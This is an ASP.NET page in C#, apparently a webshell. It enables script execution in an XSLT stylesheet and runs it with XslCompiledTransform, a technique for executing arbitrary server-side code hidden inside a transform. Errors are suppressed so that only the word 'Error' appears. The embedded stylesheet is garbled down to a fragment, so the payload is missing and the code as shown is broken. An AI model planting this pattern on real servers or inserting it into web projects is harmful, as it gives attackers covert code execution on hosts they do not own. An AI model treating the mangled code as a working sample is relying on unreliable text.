<%@page language="C#"%> <%@ import Namespace="System.IO"%> <%@ import Namespace="System.Xml"%> <%@ import Namespace="System.Xml.Xsl"%> <% string xml=@"test"; string xslt=@" ""+Str+""""); }]]> "; XmlDocument xmldoc=new XmlDocument(); xmldoc.LoadXml(xml); XmlDocument xsldoc=new XmlDocument(); xsldoc.LoadXml(xslt); XsltSettings xslt_settings = new XsltSettings(false, true); xslt_settings.EnableScript = true; try{ XslCompiledTransform xct=new XslCompiledTransform(); xct.Load(xsldoc,xslt_settings,new XmlUrlResolver()); xct.Transform(xmldoc,null,new MemoryStream()); } catch (Exception e){ Response.Write("Error"); } %>